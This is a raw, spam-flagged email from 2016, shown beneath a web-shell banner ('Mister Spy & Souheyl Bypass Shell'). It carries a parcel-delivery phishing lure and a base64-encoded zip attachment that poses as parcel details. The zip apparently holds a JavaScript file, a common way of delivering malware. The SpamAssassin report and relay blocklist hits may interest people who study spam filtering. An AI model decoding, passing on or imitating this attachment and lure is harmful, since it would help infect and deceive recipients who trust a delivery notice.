Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

From Walter.Boyce@anpha-ag.com  Tue Nov  8 20:32:17 2016
Return-Path: <Walter.Boyce@anpha-ag.com>
X-Original-To: swonneberger@ift-informatik.de
Delivered-To: swonneberger@ift-informatik.de
Received: by ift-informatik.de (Postfix, from userid 5555)
	id 3DDE937525437; Tue,  8 Nov 2016 20:32:17 +0100 (CET)
Received: from localhost by h2486555.stratoserver.net
	with SpamAssassin (version 3.4.0);
	Tue, 08 Nov 2016 20:32:17 +0100
From: "Boyce Walter" <Walter.Boyce@anpha-ag.com>
To: SWONNEBERGER <swonneberger@ift-informatik.de>
Subject: *****SPAM***** Your parcel has arrived
Date: Tue, 08 Nov 2016 13:32:06 -0500
Message-Id: <0074480646.816007.56674.nullmailer@ift-informatik.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
	h2486555.stratoserver.net
X-Spam-Flag: YES
X-Spam-Level: **********
X-Spam-Status: Yes, score=10.4 required=5.0 tests=BAYES_00,PYZOR_CHECK,
	RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_MSPIKE_BL,RCVD_IN_MSPIKE_L5,RCVD_IN_PBL,
	RCVD_IN_PSBL,RCVD_IN_XBL,RDNS_NONE,UNPARSEABLE_RELAY autolearn=no
	autolearn_force=no version=3.4.0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------=_58222841.2B9BFE43"

This is a multi-part message in MIME format.

------------=_58222841.2B9BFE43
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit

Spam detection software, running on the system "h2486555.stratoserver.net",
has identified this incoming email as possible spam.  The original
message has been attached to this so you can view it or label
similar future email.  If you have any questions, see
@@CONTACT_ADDRESS@@ for details.

Content preview:  Greetings! Your parcel has arrived to your local mail office.
   Please claim it as soon as possible. After storage time included, charges
   may apply. Find details regarding the parcel in the attachment. [...] 

Content analysis details:   (10.4 points, 5.0 required)

 pts rule name              description
---- ---------------------- --------------------------------------------------
 2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                            [177.234.1.142 listed in psbl.surriel.com]
 0.4 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
                            [177.234.1.142 listed in zen.spamhaus.org]
 3.3 RCVD_IN_PBL            RBL: Received via a relay in Spamhaus PBL
 2.4 RCVD_IN_MSPIKE_L5      RBL: Very bad reputation (-5)
                            [177.234.1.142 listed in bl.mailspike.net]
 1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
               [Blocked - see <http://www.spamcop.net/bl.shtml?177.234.1.142>]
-1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
                            [score: 0.0005]
 1.4 PYZOR_CHECK            Listed in Pyzor (http://pyzor.sf.net/)
 0.0 RCVD_IN_MSPIKE_BL      Mailspike blacklisted
 0.0 UNPARSEABLE_RELAY      Informational: message has unparseable relay lines
 0.8 RDNS_NONE              Delivered to internal network by a host with no rDNS

The original message was not completely plain text, and may be unsafe to
open with some email clients; in particular, it may contain a virus,
or confirm that your address can receive spam.  If you wish to view
it, it may be safer to save it to a file and open it with an editor.


------------=_58222841.2B9BFE43
Content-Type: message/rfc822; x-spam-type=original
Content-Description: original message before SpamAssassin
Content-Disposition: attachment
Content-Transfer-Encoding: 8bit

Received: from [177.234.1.142] (unknown [177.234.1.142])
	by ift-informatik.de (Postfix) with ESMTP id F252637525436
	for <swonneberger@ift-informatik.de>; Tue,  8 Nov 2016 20:32:12 +0100 (CET)
Received: from internal (unknown [x.x.x.x])
Received: (nullmailer pid 00192 invoked by uid 189);
	Tue, 08 Nov 2016 13:32:06 -0500
To: SWONNEBERGER <swonneberger@ift-informatik.de>
Subject: Your parcel has arrived
X-PHP-Originating-Script: 189:ExtendedMail.class.php
From: "Boyce Walter" <Walter.Boyce@anpha-ag.com>
Date: Tue, 08 Nov 2016 13:32:06 -0500
MIME-Version: 1.0
Content-Type: multipart/related; boundary="c114533cff1b1beac32988227d5d4865"
Message-Id: <0074480646.816007.56674.nullmailer@ift-informatik.de>

--c114533cff1b1beac32988227d5d4865
Content-type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Greetings! Your parcel has arrived to your local mail office.
Please claim it as soon as possible. After storage time included, =
charges may apply.

Find details regarding the parcel in the attachment.
--c114533cff1b1beac32988227d5d4865
Content-Type: application/zip; name="parcel_5fb38d554.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="parcel_5fb38d554.zip"

UEsDBBQAAAAIAK2qaElacW+5CwQAACceAAAOAAAATlJWXzNQQ0sxMV8uanPdWW2PmkAQ/qy/
gmzSBKtFUPClLUmvnu315eIVaLyeZ5oVVkFhl4MFD5v+9y4CXtOkqYnJpnFMFNzVeXaemZ2d
IYWR8M1w+qkKdeVV7QSpHyu5ystADrS13uGn8RPpZ92Qp0Zr00v6UAdqtw/4aG0/f2Pb3wmu
nSD1Y2ViLbSNlgq6MAMupeHLdnuR0Nh2USTZpJ2EwWAIWtWQs4U+CgheSRjRtrYLBounQeSj
FcT0BYUxRezHQTtxXH+d/jYFRgGbEUHHwys2Q/KiNu1sh0uVPM1ZQieDNon2/6B6S7wB81d1
c5oo8XDHcIIwfPgY32Xpx+ndFSdK3jxv106Q+rGSO5xJ+r621KemHXkhnYFRhCBFk8Ua2RTM
RVAOSKaLfB80+BggBzZNumttoxf4pPFjCLEzxqkXERwgTE0aMVZjETyzQBOMr2+etXmiM9NB
NvT1AqTQFEqH4QfgDssPw1QvcDAAQHJA/uH7nJw0B/HZIl0yfGBhUtH0RJAIzIxFZsCLFW8p
iCUeEdwYk9HYNCfG9wtjdPXBGo+sr8YYNCRKPpMtikYwRmJD0Fl8w8DpqaBRO0Hqx8qP2glS
P1b2udId7GTCiPl3/BQ0GYTQZ/f37GY6mfbU+/sowY7vdzsSekS8OPxZO0HqxwryY1Q7QerH
yv9Pd7y/6XbOme7cPqOPy+6jFugzcG3eXn/uSOztyrJuQEsAUw9fsbOAVH4a6CFBMZU0SQFz
PnZYkkgQ9zlvGqjRYKfLr6pL4XWFfQZ8hFfUBfPDYLN5TtsWjbLaCVI/VvisZl8jXftaosC/
Hq4qZks655zCbsFQbPio4hPhNqS2K4jonKLBJph6OEHnxNNPPovJQ+/C2Knrns0yIkZb4cKm
Xopui8ATQRGOeVH4zvNRkRCLMV6ZL4d4CxXUCRhCmY/OQ5Z573QCxd0rrq5fC2VlLhVJ5jCg
VxdNQTmn8DqvZFMmmhkgIcJ51f5+bIFWxemsoHDeEpaQHX05ufgBU4ywwzBxUrt1WUgLYqld
YqnOYfHNsi7zcbUhHFKx6SMUMliKLHNCtt+WQs3tob93Wy4uJ5dvJZOyr7kVzgWmwnf48VRp
pVmIwFwv28l8dW8jjzLl4sFVDRSHBMfoLXEywOs4VqEJSexRj2BmDU4ZodJswpT10JBFWDrM
7VH0llpl+5uzGWyfxIifH+ZRaUzSXtDNBL06NkjvEc1tUVqCI5S3t8HgUWV5twLFGq8kojeQ
unxAcH0ckK/YKc9ol2wj5EW6I8WM4MT3vyEYiaAjKxqv3TZvUwLQdKTVE4KiE1nCKFs4bDNK
8u246OzknV32alb+kd+3ZFlWeMHm9UiietzwJfGoyCsz86l+DlWq8ONQ3HGqiPgs8E/ufgFQ
SwECPwAUAAAACACtqmhJWnFvuQsEAAAnHgAADgAAAAAAAAAAACAAAAAAAAAATlJWXzNQQ0sx
MV8uanNQSwUGAAAAAAEAAQA8AAAANwQAAAAA
--c114533cff1b1beac32988227d5d4865--

------------=_58222841.2B9BFE43--